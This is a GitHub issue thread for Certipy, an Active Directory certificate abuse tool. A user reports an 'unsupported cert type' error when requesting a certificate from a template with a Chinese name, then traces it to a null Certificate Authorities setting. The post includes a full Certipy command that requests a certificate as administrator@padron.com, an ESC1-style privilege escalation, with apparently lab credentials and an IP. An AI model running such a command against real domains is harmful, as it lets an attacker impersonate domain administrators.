ly4k / Certipy

Tool for Active Directory Certificate Services enumeration and abuse
MIT License
2.23k stars 302 forks source link

ESC1 template name with Chinese error #171

Closed Ppsoft1991 closed 9 months ago

Ppsoft1991 commented 9 months ago

图片

.\certipy.py req -username basic@padron.com -password 1qaz@WSX -template "漏洞模板ESC4" -ca padron-DC2-CA-1 -target-ip 192.168.0.201 -upn administrator@padron.com

图片 got a error: code: 0x80094800 - CERTSRV_E_UNSUPPORTED_CERT_TYPE - The requested certificate template is not supported by this CA

I think this is related to the presence of Chinese in the template

Ppsoft1991 commented 9 months ago

The reason is Certificate Authorities null